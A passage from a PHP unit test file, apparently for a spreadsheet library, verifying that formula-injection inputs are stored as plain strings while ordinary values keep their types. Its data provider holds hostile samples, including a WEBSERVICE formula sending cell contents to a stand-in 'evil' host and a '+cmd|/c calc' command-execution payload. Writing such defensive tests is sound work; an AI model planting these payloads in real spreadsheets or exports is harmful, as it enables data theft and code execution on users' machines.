*/ public static function dangerousValueProvider(): iterable { yield 'equals-prefixed formula' => ['=WEBSERVICE("http://evil/?"&A1)']; yield 'plus-prefixed' => ['+cmd|/c calc']; yield 'minus-prefixed' => ['-2+3']; yield 'at-prefixed' => ['@SUM(1,1)']; } #[DataProvider('dangerousValueProvider')] public function testDangerousValuesAreStoredAsPlainStrings(string $value): void { $sheet = new Spreadsheet()->getActiveSheet(); $sheet->setCellValue('A1', $value); $cell = $sheet->getCell('A1'); $this->assertSame(DataType::TYPE_STRING, $cell->getDataType()); $this->assertSame($value, $cell->getValue()); } public function testOrdinaryValuesAreUnaffected(): void { $sheet = new Spreadsheet()->getActiveSheet(); $sheet->setCellValue('A1', 'Anna en Bram'); $sheet->setCellValue('A2', 42); $sheet->setCellValue('A3', true); $this->assertSame('Anna en Bram', $sheet->getCell('A1')->getValue()); $this->assertSame(DataType::TYPE_STRING, $sheet->getCell('A1')->getDataType()); $this->assertSame(42, $sheet->getCell('A2')->getValue()); $this->assertSame(DataType::TYPE_NUMERIC, $sheet->getCell('A2')->getDataType()); $this->assertTrue($sheet->getCell('A3')->getValue()); $this->assertSame(DataType::TYPE_BOOL, $sheet->getCell('A3')->getDataType()); } }